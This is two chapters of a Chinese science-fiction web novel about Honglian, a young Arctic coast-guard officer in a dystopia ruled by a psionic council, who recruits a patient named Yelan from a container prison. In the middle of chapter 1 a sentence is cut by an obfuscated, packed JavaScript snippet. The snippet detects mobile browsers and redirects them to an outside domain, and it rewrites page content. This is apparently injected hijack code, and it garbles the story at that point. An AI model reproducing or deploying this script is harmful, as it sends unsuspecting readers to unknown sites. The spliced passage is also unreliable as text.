《夜星少女：爱与现实》 1. 章1北极岸防连城：初遇夜兰 “你总是任人摆布。” 坐在那张插满线缆和透明软管的机械椅子上的少女开口说道。 尽管程序已经隔绝了她的痛感，但机械随意调整她的身体参数还是让她全身冷汗直冒，浸透了今早刚洗净的黑色长发。她的四肢被牢牢固定住，无法动弹，更无法拨开贴在脸前的头发。 她很少会感到焦躁不安。 此刻，她只能靠眼球转动来观察自己所在的房间。 虽然她和母亲搬迁过很多次，但房间内的陈设始终如一：墙上安装满了机械臂和缺乏外壳的廉价设备，以至于看不到墙面。原本就不富裕的空地上，还摆放着孕育罐和大型仪器台。这就是她成长的环境。这些设备在经过常年累月的使用和修理后，全都沾满了油污。她的母亲的原则是：看不清就不算脏乱。 “你现在才是真正的任我摆布！” 母亲晴灯边说边用电热卷发棒把自己的头发烫卷，这使她的发质由原本的黑亮变得斑驳焦黄。经过这样的处理，她就可以轻松地用一个发圈把头发盘在脑后，不再散落。 晴灯博士大步绕过各种设备，来到少女坐的机械椅前，双手撑在两个扶手上，抬头观察并念出机械椅顶端四块显示屏的读数。 “成长评分9.5，性征衰退评分5.4，太低了，根本不够灵能进化上升到评分7，我们黑家的基因太健康了，你身体的成长不但延缓了性征衰退，还在在恢复性征，上周衰退率还够6，这样下周你没法入籍博物馆都市啊！我还有事忙，真是烦！” 少女尽力蠕动嘴唇，只是想说话的肌肉动作就已经使得身体微微颤抖。 “那就不去了。” “你说的简单！”晴灯左手按动头戴型机械镜片，这单片镜集成了当前所有观测技术，附带无影的矩阵照明灯，是她的得意作品之一。 “不去博物馆都市进化，你将来可怎么办呢？要像外面的评分5们在雪原巡逻吗？” “嗯。” “她们永远进化不了！你简直疯了。” 晴灯博士用手揉搓着额头继续说道：“对不起，莲，我已经对你说了不下一万句对不起，我还是想告诉你，我当初擅自用改装的孕育罐培育你，导致你四岁就意外出生，经常承受调整身体参数的痛苦，都是我的错，我的初衷是想将你的进化评分和知识评分都设定成7。” “妈妈？” 晴灯听女儿莲第一次叫她妈妈感到意外：“啊，嗯？” “叫我红莲。” 少女低头看着脚下血红，血液沿着大腿里侧流下，在小腿上开辟出一道道新的血流，直到从她白皙的脚尖滴落，汇聚成一滩红色的小湖。 母亲注意到女儿的变化，才慌忙的操作机械椅子。 “抱歉，我没考虑到你已经16岁了，这情况会可能在调整治疗椅参数时发生，我会马上把参数调回去……” “这都不重要了。” 晴灯沉默了，她只是个单纯的学者，搞不懂人情。 “我现在只想离开这把椅子。” 随着设备停止时发出的呜呜噪声，治疗椅束缚红莲的机械臂也纷纷散开。晴灯博士看到红莲没有异常反应，有些尴尬地掐着腰转了一圈身子，心中开始怀念她心心念念的研究课题。她颠了三下脚后，快步回到研究室的工作台。 “呼。” 红莲完全瘫软在椅子上，控制着思想的每一个念头和身体的每一个细胞，全力让自己放松。在她成长的12年里，经常用这种方式让自己快速振作。 她离开椅子时，过分用力，勉强控制住踉跄的身体，走向淋浴设备，无意间拨落了设备上的连衣裙实验服，然后拿起岸防卫队的制服放在淋浴设备旁边。她计算洗净自身的时间和细节，在浴霸的强光中穿上制服，尽快吹干长发，最后戴上白手套并拍拍大檐帽上的微尘，对着淋浴的玻璃罩，确认自己的仪容得体，要立刻出发。 “晴灯？” “啊？我现在正忙！” “我也说过不下几百次了，我不怪你。” “好，你再去试试天家主大人吩咐办的事，啊！因为是机密行动，不能发布任务，想必很难找到人协助我们啊！” “我压根不想办。” “为什么！” “因为她是个魔鬼。” “你这样说天家主大……” 红莲单手握住晴灯肩膀，把她从布满琐碎仪器的昏暗工作台推开。 “听着，晴灯，你给我听着！妈妈。” 晴灯的大脑一片空白，忙移开脸上的目视仪，仰视少女脸上的平淡表情。 少女的黑白相间的卫官制服与她英武的气质相得益彰，显得格外冷傲。大檐帽下，少女的长发分在脸两侧，长眉细目，以坚定的意志睁开，眼神中充满了质疑一切的力量，这让晴灯博士有些怯懦地看向少女的嘴唇，似乎在呼应自己很少与人交流的个性。那小巧的嘴上只有淡淡的粉色，晴灯想到红莲是因为治疗椅而缺乏贫血，视线又缓缓下移，注视着少女漂亮且恰到好处的下颌线。 “灯。不要考虑别人，不要考虑我！” 少女笑了。 “我接受一切先天的环境，因为它们造就了我，所以我不怪你。你该考虑的是你自己想做什么，妈妈，你活了39年，你究竟有没有干过自己想做的事情呢！这12年，我全看在眼里，你总受到研究所同事排挤，成果被剽窃，名誉被抹黑，成为学界的笑柄，你听从各种组织安排，把你用完了就抛弃，我们漂泊去过十几个城市。你究竟为自己做过些什么呢？” 红莲看到晴灯几乎要哭了，转身再次面对那个杂乱阴暗的设备房间，叹息着，悲伤和愤怒交织在一起，让她无力地漫步并随手轻抚着母亲喜爱的陈旧设备。 “博士。我出发了。妈妈，我希望你能认真的考虑自己。” 红莲走到户外，抬头看到细微的雪花自天空轻轻飘落。这些雪花经过夜空中的灵能超巨飞艇照射，一触即化，甚至连一丝湿润都不会留下。 家的气密闸门缓缓关闭，每个居住舱门前都有一平米的阳台，红莲轻按围栏立柱上的开关，阳台自动下降到地面，可以看到居住区的所有居住舱下方都有支撑柱，这样设计能减少舱内的热量损失。 岸防队员们三三两两地结伴同行，都穿着黑底白边的制服，脚下的石道起初坑洼不平，步行到了灵能会修建的主干道就变得极为平整，道路外是积雪。 墨绿色的道路环形延伸，有的队员逗留在古老的路灯柱下，挥散路边长椅上的雪层，坐下等待各自的朋友。 岸防连城由2000年前的防御南极大陆入侵的五座港口城市相连组成。 灵能会引领世界后，修建了墨绿色的环形公路呈圆形包围各城，公路的中心各建一个广阔平坦的圆形广场，广场中央的白色石柱叫灵能友谊塔。 红莲眼前的主城广场最大，占地32000平米。 这空旷平坦的广场没有任何装饰物，像极了实验用的烧杯瓶底。尽管主城区居住着近20万岸防队员，但他们大多数时间都忍受不了居住舱里的枯燥生活，来到广场与战友团聚。还有前往执行任务的队员，或者是定期用治疗椅的队员，总之都要路过广场。也就是说此时广场散落着不下10万人，却像烧杯里的杂菌一样稀疏。 勤杂工 普通岸防队员会绕开穿士官制服的队员和治疗无效的队员，这是因为她们不愿让意外打破自己井井有条的生活。但是，大家还是忍不住观察着异类，用余光看看红莲，又纷纷转看角落处。 坐在长椅上的女士，一身灵能会的白底金边西装，端正的坐姿让西装略有紧绷，暗示着她有不同寻常的体魄和身手。齐耳短发加上中性脸庞，让她具备了100多年前已经灭绝的人类男性身上的魅力。她目光所及之处，少女们脸红心跳地确认自己是否是她的目标。 女士却在心里重复这句话：完成天家主大人吩咐的任务，留出时间应对突发情况，或者尽快回到大人身边，这就是我活着的全部意义。 她看着向自己走来的红莲，最先注意到红莲锐利的眼神，凝视着自己又似乎看向别处，她非常反感红莲这种若有所思的眼神。 岸防卫队士官的大檐帽帽檐与帽徽连在一起，是一整块黑钢制作，加强了对人员头部的防护效果。锃亮的黑钢帽檐为红莲增添了肃穆的气质，黑色长发之间，嘴角微微上翘，漂亮的鼻梁显了英气，剑眉细目与那位名叫元的女士对视时，流露少许戏谑。 银色的肩章下，结实的上臂使得衣袖充实，束腰呈优美弧线的上衣，衣角形似裙摆，与长发末端呼应，展现出狂野的美感。黑色长裤以电子锁扣连接黑钢金属鞋，显得浑然一体。 “元师傅，久等了。” 红莲说完坐到元旁边，人群的视线立刻扭散，无论她两多么引人注目，在岸防连城没有人想与灵能会扯上关系。 元侧身看着红莲黑色长发柔顺流至胸前，看不到她的表情。 “红莲大小姐，我说过了，不要叫我师傅。” 红莲无需观察身旁的元，因她精湛武艺而散发了逼人的气场，让自己感到微妙的紧张。 “我不明白元为什么对每个市民都称呼大小姐？” 元抚平小腹部上灵能会白色西装的褶皱，双手按住长椅坐板，愉快的荡着双脚。 “只是称呼，这样尊称每个人对我而言比较轻松，我只想对天家主称呼为大人，她对我而言是特别的。” “那我叫元师傅也只是称呼！” 元和红莲同时转头相视一笑。 “哎？你这小丫头！嗯，说正事吧，天家主大人吩咐你和晴灯的研究课题是，调查野外机械生物动力装置，毫无进展啊！红莲，你拖了两周，令母晴灯博士只是学者，你不作为，课题就进行不下去。” “嗯……” 红莲站起来，抬头望向天空，柔和的白光中只能看到灵能超巨飞艇船体的一角，低头看是广场稀疏聚散的岸防队员，她们举止得体，步伐矫健，离远看每个人的区别仅仅是发型稍有不同。 “她们井然有序的生活，满怀期待的未来，灵能会却随时可以轻而易举的捏碎。” “你想多了，人们是需要进化成灵能体，前往了天狼星，灵能会只不过是引导这个旅程的向导组织。” “元师傅，我不想和你争辩！毕竟只有我一个人直面真相。” “一个人的真相就是假相！” 红莲摘下士官帽，烦闷的心情随摆头轻晃的长发一起飘散，她坐下，长吐一口气后摆弄帽子。 “无所谓，真的无所谓。正如我的看法无所谓一样，我干什么都无所谓，所以没兴趣听从天家主的命令。” 两人眼神没交流，却能感受到对方锐利的敌意。 “红莲大小姐你能从一介平民直升岸防士官长，还获得了免试进入博物馆都市学院学习的名额，全靠天家主大人的恩赐。” “我不稀罕这些走后门的机会，她能让我直升就能让我直降，说到底不过是为了执行她说的任务所需的身份罢了，我们都是她的工具。” 元低头闭眼短暂思考后笑了。 “红莲大小姐的想法太奢侈了，不是每个人都有当工具的机会，但我见过这么多下属，只有你敢反思，老实的工具做不了复杂的工作，我明白天家主大人为何包容你了。” “老实的工具做不了复杂的工作？呵呵，她的原话吧！我只是她北极皇帝宝座下的跳舞小丑罢了，她哪天腻了，就会把我捏死。” “哈哈哈！”元大笑到暂时忘记第一管家的仪态，双手捂着脸笑的前仰后合。 “咳，咳，嗯，天家主大人只在你我面前说过一些真话，我很感激这种真实，即便是恶言。我原本是进化评分3在尸体回收站等死的活死人，是天家主大人给予我现在的人生。我想请求红莲大小姐一件事。” 呜！呜！ 警报声长鸣，打断了广场上所有人的话题。 耀眼的金光从广场中央的灵能友谊塔射出，塔顶的四座神使雕塑在轰鸣声中化为金色光人。这些光人跳向空中，展开巨大的金翼，随后在一道淡蓝色的光柱后降落地面，四道蓝色的光柱旋转升天，显得格外神圣。 这些光人逐渐变化，变成了全身穿着银色连体衣的人形生物。它们的银制胸甲上分布了灵能场发生器，可以实现低空飞行并大幅增强体能。灰黑色的腹甲连接多对拘束带，紧紧地缠绕在身体上。大腿上的拘束带紧绷，却能上下移动，不协调且的流体质感让人们不禁怀疑那连体衣的里面是否有肉身。 人们再看它们头部，脸的位置是一个纯白的面甲，头顶是一个果冻质感的水母头，伸出像触须似的一条条自主蠕动的线束，是它们的感受器。腰后别着两把侍灵能量刀。 这就是令夜星人闻风丧胆且心向往之的灵能进化成果——侍灵的外貌。 四名侍灵从不同方向给围观的岸防队员分发信息画面，这画面和心灵语音会强制出现在广场上的每个人类的脑中。 “猴子进化的智慧生命是人类，文明在黄金时代停滞，愚昧将机械进化毁灭，恐惧将血肉进化终止。仅有微弱质量的灵魂不可能进化，人类求助于伟大的天狼星文明赐予你们灵能科技，灵魂能量促进协会帮每个人类完成灵能进化。” 红莲无视重复播放的心灵语音，戴上大檐帽扶端正帽檐后对元问：“什么？” “请记住我说的这句话：天家主大人只是从未被善待过。” “皇帝怎么可能从未被善待？” “嗯，她身边都是利益关系而已，我也一样。” “嗯…….那我也求元师傅一件事吧。” “什么?” “再教我武技。” “难得有人对古代体育感兴趣，我们在博物馆都市见吧。” 元说完后，起身。她右手按左前胸，对红莲微微低头鞠躬，然后走到长椅后侧，抬起左臂指向天空，启动了灵能会成员专属的瞬间传送术。 红莲右手食指有节奏地敲击长椅座面，思考课题任务成功的条件，开始观察人群，等人群淡忘她和灵能会有关的印象，等到她再次感受到雪花漫飞，大自然洁白的素衣，无情的抹去了岸防主城区的人心冷暖。 只有这样，她才能闲庭信步穿梭于岸防队员当中。 甚至有一位高双马尾的新人队员带着稚嫩的举止轻拍了红莲的肩膀，误将红莲当成了她的队长。 红莲微笑了一下，继续向广场深处前行。 她目光敏锐，寻找着与任务目标相关的可能性，发现看似休闲的地区其实有着严格的职责归属，人们似乎从来不做多余的事情。 搜集情报 红莲确定没有线索后，加快脚步来到广场外围的环形道旁。她看到15米宽的直道无限向远方的工厂区延伸，道路两旁有几百个陌生的踏板装置。 踩上踏板装置，眼中自动浮现字幕，耳边播放语音。 “编号HZ178901用户，注册名红莲，您好，鉴于您第一次操作岸防连城人用单体移动辅助浮空板，推荐您采用手动操控模式，本机自动记录并上传您的意识信号，您下次使用浮空踏板时就可以直接用意识操控模式了。” 浮空板行驶了15分钟，红莲已经适应了其他岸防队员好奇的目光。 毕竟，穿着士官级队服并用手动模式操作踏板的人并不多见，红莲看向远方道路两旁的辽阔雪原，渐渐地，一排红黄相间的灯光开始闪烁。 红莲轻轻地推动操纵杆加速，穿过这些灯光时，她注意到这是一排工程插杆上闪烁警示灯。这些插杆可以对自动机械车辆发射雷达波，提示隔离区的边界。 在翻腾入天的雪浪中，忽隐忽现的巨大蜈蚣形机械不断袭来，疾驰转弯。 （注释：蜈蚣型多足列车的每节平台长50米，宽25米。车底采用天狼星灵能锻造技术加工的联动式机械足，无数机械足呈波浪式的运动着。虽然每节平台仍采用夜星技术的微核反应堆，但多个平台可以串联起来，节省动力，使其运载能力和雪地行驶能力极强。） 如果从空中俯瞰，驶向工厂区的二十多条巨大蜈蚣犹如一窝啃食大地的邪虫，既壮观又惊骇。 在大雪覆盖下，一些废旧的岸防机甲仍然可见，它们保持着操作员临死时的姿势。有的单手伸向远方，那倾注临终希望的钢铁食指究竟换来了什么未来呢？ 有的机甲双臂抱头蜷缩成一个铁球，被资源回收车切割后扔向残骸小山。 红莲注意到，只剩钢材价值的铁球被抛起时，迎风摇曳的是无名岸防队员的制服残片。 这些残骸小山此起彼伏，绵延了五十多公里。红莲听擦肩而过的队员说，穿过垃圾区是天家主命令新建的灵能工业作战载具实验研发区，有望缓解岸防卫队消杀野外机械生物任务的压力。 研发区的实验机械展现了灵能会远超人类的技术水平： 50米高的测试平台像一只只侧立的白色甲虫，下颚是多地形测试平台，循环模拟着雪地、岩石等地形。上颚是测试负载重量的机械臂，上下颚压着一台四足机械蜘蛛模样的底盘。当底盘没通过测试时，它会被甲虫的漩涡状口器“吃掉”，废物从甲虫身后排出。 第二组甲虫测试重型四履带战车底盘。 红莲看到这里时，很想用帽檐下的辅助瞄具拍照，可她毫无凭据地担心照片会引来灵能会的调查，只能尽力在心中刻下印象。 当她转身注意重型战车的细节时，密集的岸防机甲映入眼帘。 机甲排列的间隔过小，导致很多机甲互相倾倒。拖车将新型的缺乏防护的满布液压系统的岸防机甲再挤压入队列，到了队尾才能见到几批旧型岸防机甲还是全包覆装甲的设计。 红莲在心里默念：“没看到一件灵能武器。” 金属撞击与电焊声吸引人们看向建造区：铆钉和薄铁皮覆盖着钢制龙骨搭建的锈破仓库长约1000米，高约100米。仓库之间用简易的钢框架天桥相连。渐渐清晰的临岸黑幕中浮现三个无比巨大的口字形仓库，这是旧时代建造船舶的船坞，改建成了机甲工厂。 浮空踏板突然开始高负荷运转，速度却降低了一半，因为红莲穿过了灵能会修建的墨绿色磁能主干道，来到铺满残破石砖的检阅广场，执勤归来的岸防机甲小队有序从广场边缘驶往建造区。 广场左半部分已经集结了五万台岸防机甲，地勤维护人员紧锣密鼓地调试它们。 红莲目测整个主城区大约有12万台岸防机甲。 广场上方，几百层石阶的顶端坐落着力量派建筑风格的石柱大厅，三排石柱顶端压着一座金字塔形状的石顶，这座建筑继承自2000年前，现在作为岸防连城的总指挥部，建筑背靠一段棕色城墙，城墙顶端设置了数百座防空系统。 建筑散发着威慑天地的绝对力量，这让红莲不禁停下踏板凝视着它。 听从指挥部调令的岸防队员逐批向广场集结，人们日常熟悉的指挥部脚下，出现一个清瘦的高挑倩影，人们无法看清红莲大檐帽下的神情，只看到黑色长发与岸防士官制服迎风飘动。随着红莲的气势增强，人群逐渐向她围集。 回过神来的红莲用手按低帽檐，开始步行穿过检阅广场。 水晶花的单纯 红莲边走边抬手触碰袖口扣子投出的投影屏幕，确认城区地图：指挥部右侧是尚未开发使用的旧船坞区，管理者把船坞区残留的电力、淡水等供给系统输出给集装箱组成的监狱。 红莲站在监狱区的人口，向南遥望。 冰封海面上，深蓝黑夜倾泻来的暴风，宛如熄灭生命的浓浓恶意，穿过集装箱的缝隙，在集装箱围成的大坑里持续呼啸。 每个集装箱开一个长条小窗，幽黄灯光诉说着箱里有苟延残喘的生命。箱顶插着形态各异的测风勺，是箱主人们唯一的个性标识。 红莲感觉眼前这白雪积地的连绵几公里的集装箱小山像夜星旷野随处可见的城市遗址一模一样，很难认为这里算是岸防连城主城区内，刚才途经的庄严氛围与这里集装箱们呜啦乱响的凄惨景象截然相反。 常年驻扎监狱区的后勤小队凭借两台岸防机甲和支援车在入口分成左右两队，各五人。平时她们就躲在机甲和支援车里避风。 有人注意到一位士官站在狂风呼啸的集装箱群前，就问了一句。 “长官？” 另一名岸防队员打盹醒来，也瞄见有人在监狱区门前，她慌忙按开机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875279|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲玻璃罩，跳出来喊了一句，紧接着其他八个人也从车辆出来。 “您好？指挥部有新命令吗？” 另一名队员喊完话后，队长走出来，并示意两名队员进入机甲。其中一名队员递给她身份识别枪。当队长向红莲走去时，步伐逐渐变得迟疑。 大风在混乱鸣响的废墟监狱区中呼啸，与红莲的长发形成一种独特的毁灭之美。 她举枪对准红莲，全息屏幕上最引人注目的标签首先是职责标签。第一个标签是让所有夜星人心生恐惧的金色三角形，里面的“灵”字能够刻在每个人的灵魂里，这是灵能会特派人员的标识。 队长几乎没时间去看第二个标签，那是一个白色圆形中间带有一个“天”字的标签，代表着可以命令北极地区所有天家外人员的权力。第三个标签是岸防连城人员所熟悉的黑色圆形，上面写着一个“黑”字。 身为10人小队的队长，她马上从对灵能会和天家的恐惧中振奋过来，想起黑家与天家的关系，她在愤怒和理智间达到平衡，冷静的分析眼前的人，是黑色长发！ “嗯……” 队长没控制住因血缘产生的亲近感，她看红莲转身，清秀精致的五官，眼神深邃，对她笑了，队长不禁有点脸红。 “您需要什么帮助吗？” 红莲抬手紧紧白手套，走到队长身边轻按她举枪的手。 “我执行一个机密行动。” 队长目不转睛的看着红莲的微笑，忘记了身体动作。 “啊，不好意思，需要我做什么呢？” “我要一个病人，作为引出机械生物的诱饵。” “一个就够吗？以往都是装满一箱到期的病人，我按流程给您准备一箱人吧。” “不，我想自己挑。这是天家给的行动经费，不拿白不拿，给你一些吧。” “500积分太多了，都够升级评分了！” 红莲大笑看了一眼她胸口后说：“你进化评分多少啊？” “3.9分。” “嗯拿着吧，我行动完成可能就去博物馆都市了，钱在那里没用。” “好的，我不客气了。” 队长指引红莲，来到最外侧的集装箱，按动门上开关。 “其实我不建议您进来，这里面互相连通，像个迷宫，最近因为送来的病人太多了，加盖的太重，有一半已经沉进海里了！” “沉进海里？” “啊？您要知道，这里旧址是造船厂，下面都是海水，淹死了两万多病人吧，唉，怎么说呢，进化无望的人活着和死了没区别，她们也许解脱了吧。” 说完队长看向脚边一个靠墙瘫坐在地上的病人，娇小的身形，灰色长白发遮蔽着她因长期不运动瘦弱的四肢，她颤微微抬头，长发滑散，淡粉白色的嘴唇发不出声音，两人才注意到这病人的眼睛空洞无神。 “走吧，长官，抱歉，刚才没注意您的名字。” “红莲。” “红莲，有名字真好啊，我以前叫黑云，现在只有L16071的编号了。” 两人步履匆匆穿过一个又一集装箱，红莲渐渐放慢脚步观察病人和房间，每间都只有一把简陋的治疗椅提供治疗，饮食和排泄服务。 病人们除了发色和身高不同，都是瘦弱无力的四肢。 直到一个特例，她1米89的身长像别的病人一样瘫坐在墙角，小腿却能探到门边，队长习惯性的迈腿跨过。 “红莲大人，小心脚下。” 队长看着红莲站定，想到这位来自岸防连城之外的来客，可能从未见过进化淘汰者的境遇。她注意到红莲的大檐帽渐渐低沉，直发如瀑布般流淌，改变了之前的英武气质。于是，她和队员们一起注视着这位高大的病人。 究竟要孤独多久，才能摧毁人的所有希望呢？ 许多人自始至终都像孩子一样，尽管孕育罐赋予了他们完美的身体和学者级别的知识。 人时而将希望寄托于理论，如进化体系；时而将希望寄托于金钱和物品，就像眼前的这把破旧的治疗椅一样。当一切希望破灭时，人们会发现自己只有身体。 这名病人患有一种罕见的进化障碍，性征衰退药剂反而激发了她的生长激素旺盛分泌，灰白病服被她紧绷的丰盈的身形勾勒出充满生机的曲线，从未修剪过的黑发如柳絮般缠绕到小腿。 过了很久，她才发现进入房间的两人没有出去，迟缓地抬起头，看看周围。 红莲与她对视后惊觉这人的表情有种瘆人的病态。尽管她突然低头蜷缩在墙角，红莲还是被她表情带来的瞬间印象所惊愕。那张美貌的脸上，眼睛里有着难以想象的恐怖，让人惊愕的同时，嘴露出了很有信心的微笑，如果不是她怯懦地低头，红莲还误以为她是号令全军的统帅。 队长见红莲也被夜兰的外表震慑，不禁捂嘴窃笑，却看红莲走到病人的身边，蹲下。 “红莲大人，这个病人因为生长速度过快，从孕育罐中早产，身体承受过很多痛苦，所以表情诡异，没什么特别的，我们赶紧走吧。” “红莲大人？”队长想到这名病人的性格单纯善良，是监狱区少有的正常人，平时还能帮队员跑腿打杂，就又说：“这家伙块头大，太显眼了，往里走，我能帮您挑几个体格正常的病人……” 红莲叹气后用手压低帽子，只露一只眼睛看着病人，见她抱着胳膊从黑发缝隙也睁眼偷瞄自己。 “曾经我也想过一了百了。” 两人听到红莲的发言后，都呆住了。 病人松开胳膊，歪头看着她。 “嗯。” 红莲笑了，继续说：“黑暗，孤独，以为遇到开心的事却得到了更多打击，刚开始是不甘心，就随波逐流的活着，可我已经厌烦被外界支配了，所以想从世界的夹缝中找到掌握自己命运的方法。” 可是，病人觉得自小承受痛苦是活着的代价，现在却连随波逐流的活下去的资格也要没了，更没有奢求过改变命运，她只想暂时坚定的相信点什么，以让自己不觉得生活全是苦涩。 病人把挡在眼前的长发别到耳后，抬手动作是与邪恶表情完全相反的温柔，一只手搭在红莲肩上，一只手摘掉她的大檐帽戴在自己头上。 “我能为你做些什么呢？” 在历尽利益纠葛后，红莲此刻内心悸动使胸腔有种微微的撕裂痛，她似乎感觉到命运的齿轮开始转动。 “我有一个机密行动，需要人手，你身体健康吗？” “我的身体在不断变大，如果你能尽快出发的话……” 红莲摘回帽子，揉揉她的头顶。 “问题不大。” 当队长见红莲点按衣袖纽扣时就感觉诧异，看清她的操作流程更惊讶到想出手制止。 “我以灵能会标签授予你天家标签，这样你就能在岸防连城随意行动了，嗯……我想办法给你弄身合适的衣服，收到衣服你就去居住区找晴灯博士家，这是我的身份识别名片。” 病人挪动着，看着名片上的字，说道：“红莲？” 她趴在红莲面前，兴奋的继续说：“我叫夜兰，没有编号。” “好的，夜兰，你让晴灯博士帮你调整身体，还要学会治疗身体的方法，别错过让自己更独立的机会，我得走了。” 两人微笑着告别夜兰，回到大风肆虐的户外。 “没想到你把仅有一次的标签授予给一个病人，据我所知，只有每家的家主大人才可以无限授予标签，这也太慷慨了，红莲，你让我刮目相看。” 红莲扭头看着队长，队长意识到自己言行不妥，表情变得尴尬。 “啊！不好意思，红莲大人。” 红莲单指按着嘴唇说：“嘘！”然后笑了。 “叫我红莲就可以，我刚被任命这个职务，叫大人很不适应。” “哈哈，那最好不过，您要去哪，我送您一程。” 两人上了支援车，等她把队员支开，红莲稍微一放松就感觉已经用意志将身体和精神都压榨到了极限。 “想回家。” 队长在目视仪上标记到居住区的晴灯博士的舱室，打开车辆的自动驾驶。 “好了，红莲，您可以休息一会。” “最近有什么新鲜事吗？” 红莲平躺在长椅上，175的身高超出长椅，让她有些不自在，于是单腿蜷着，单手当枕，把帽子按在胸前，看着车顶的灯带，等待回家。 队长也随红莲的状态进入放松的氛围随口说道：“南极最近出了大事，冰雪女王驾崩了，真不知道南极人是怎么把封建制度维持了1万多年，真奇葩！好像是被毒死的，也有的人说是病死了！哎我觉得以南极的基因技术，不可能是病死！不管怎么说，岸防连城的敌人只剩机械生物啦！冰雪在世时过分纵容风千阳三大家族，三股势力互相竞争，搞的全民皆兵！万一打过来！灵能会坐视不管的话，我们就完啦！这下好了，我判断南极三家彼此死斗，黑家主大人也是这么判断的，好像打算拆掉监狱区，重启船坞制造，如果能趁机攻占南极沿岸，这些病人就能获得一块自己的土地吧。” 她看红莲不出声，又感觉自己说的多了，就补充了一句。 “嗨，也不是什么大事。” “我对南极的事不太感兴趣，只想找点人手。” “那您休息完，4点可以去酒馆区坐坐，嗯，悄悄的打听一下有没有人想赚外快，好了，到了，红莲，您需要帮助的话就给我发信息，这是我的名片。” 交换完名片信息，红莲下车转身招手说：“帮我照顾夜兰！” “没问题。” 红莲回到熟悉的杂乱空间，想跟晴灯说做个衣架，转念想自己做吧，却没有力气了，只能把制服尽可能挂在浴室门上，她边摸索着机械设备边庆幸自己记住了每个转角，最后看一眼工作台方向灯光里，母亲工作的身影。 红莲慢慢躺下，在尽力牢记每个重点的思绪中睡着了。 听女儿平静下来了，晴灯走到她身边。 “你今天说的话，我最近几年也考虑过，有些自己喜欢的小发现一直没时间研究，所以我有个新的想法。” 晴灯语止，回到工作台上。 2. 章2北极：命运的安排 我们经常觉得生活是辛苦的，尤其是环境发生巨变的时候，本来以为熬过了一个难题，现实却像尖刀刚刺入稚嫩的皮肤。 夜星北极的城市上空，都配属一个灵能飞艇提供光照。 最近，七个城市失去了飞艇，原因不明。 当一名普通的北极市民，抛弃所有赖以生存的财富，挤进运输车内，熬过9个多小时的颠簸与憋闷，看车门开启，拼力下车后，眼内是苍茫白雪，呼吸入冻结肺叶的寒冷，就如同现实尖刀才刺入皮下组织。 暴风雪遮蔽了蠕动起伏的运输车队，市民无论是向前方还是后方看，都没有尽头，再看天上也有一条条连绵不绝车队，是来自不同方向的城市的车队拥堵在雪原里。 人们这才意识到身边看似无限的车队里只有自己城市的20万人。向前寻找希望，靠前的幸运儿们才能看到岸防连城主城区防空墙上的灯塔，灯塔上空是比整个岸防连城还大的灵能飞艇的腹部，冻云遮蔽了它的全貌。 “打开车门，让人们自己走！快，分开喊。” 其实每位岸防士官都清楚，让仅有边防职能的岸防连城涌入140万人的后果，是残忍的。 远道而来的访客们会把这残忍归罪于岸防卫队，或者归罪于血统之争，而队员们自古有一种慈悲，就是让弱者先活下去，尽管谁也不知道现实这把尖刀还要刺多深。 岸防卫队在这种心态下，第一集群的强风副官太清楚各城区的组织能力和生活物资补给根本不足以接收这些车队，但不能看着这么多人饿死冻死，先让前方车队的人下车自行前往，腾出空间还能向后方运载补给，她想到这些又说：“我去通知门卫队对所有人放行，你们继续在这喊，让人们自己走！” 人们不利用仅存的体温赶路，却张望着岸防队员，好奇她们为什么不需要棉衣，只穿轻薄的岸防队服，因为队服本体有发热功能，另外队员在治疗椅上调整身体参数的同时注入了未知的抗寒药物。 全自动装弹机以三短一长的撞击声，将长950MM直径170的炮弹推入岸防机甲弹匣。这金属碰撞的声音不仅遮蔽了城外的飞艇降噪区外的隆隆声，还在队员们心中刻下凌厉的生活节奏。 强风没停脚步，向执勤归来补给的30台岸防机甲队员们敬礼同时说：“对所有人放行，正门留出一公里宽的空地，让车辆不要停，向五个广场分流。” 后勤履带车队的哒哒哒行驶声像是给三短一长的节奏增强紧迫感，强风留意着车队的驾驶舱，跳上有士官的车辆敲敲玻璃后说：“早。” 士官笑答：“早上好，强风副官。” “麻烦你走一遍五个城区，传我的命令，所有出勤的机甲走所属工厂区的货运通道。” “你干嘛呐！强风！”她听到有人喊自己，转头看到一个矮小的三角形，下车和这个矮子并肩而行。 “处理些市民车队的琐事，你去哪了？” 矮子抬起宽大的衣袖揉搓强风的一只马尾辫子。 “真好啊，我就喜欢风家的粉白发色，执行清剿机械生物巢穴作战了呗，能干啥。” 强风偶尔回应路过士官的敬礼，把辫子甩开，天思的小手又重新抓住，这惹的路过的队员嗤笑。 “你最近出动清剿作战越来越频繁了，效果怎么样？” 天思揪了一下辫子，两人才对视，她最喜欢强风肉嘟嘟的脸上有着与可爱反差的平静。 “300台机甲回来67台，这些市民未经实战训练根本派不上用场，自从天兮被误伤，我已经不给新手配炮弹了！把市民布置成诱饵，让队员趁机击杀机械生物，这样效率高的多。” “应该给予每个人生存的机会，哎！” 强风拦住搭建居住舱的队员。 “把我的命令通知你们的士官，把主道附近一公里范围的居住舱移开，每舱容纳人数到增加10人。你的作法太冷漠了。” 强风说完揉揉天思的小帽子，等天思回话。 ”反正都是要死的。我是侦察指挥型的战士，不像你那么热血。说到底，要怪落后的岸防机甲，这年头只有北极还使用笨重的机甲，南极人在基因改造的基础上穿戴外骨骼，灵活度远超岸防机甲，一旦南极内乱结束，北极只靠岸防卫队恐怕……” 天思捋顺短发，感觉强风很久不回话了又说：”你想家了吗？” ”没有，到时灵能会一定提供援助，快到酒馆了。” ”那我去参谋部了，再见，强风，对了，你进化评分多少了？” “5.5。” 天思听完就跑了，跑步使得她衣服的三角形轮廓张的更大了，跑了三步远后她转身说：“我评分其实够6了，想等等天兮和黑白大人，再见。” 强风明白每个人都有人情味，天思是聪明的小妹妹，她只把人情味留给重要的人，这样痛苦更少。 武人交流 酒馆区附近，士官三两结伴，勾肩搭背的人们用大檐帽盖住视线避免没完没了的敬礼，脱掉上衣的人们大声吵嚷着什么话题，互相挽着胳膊的士官小声窃笑。 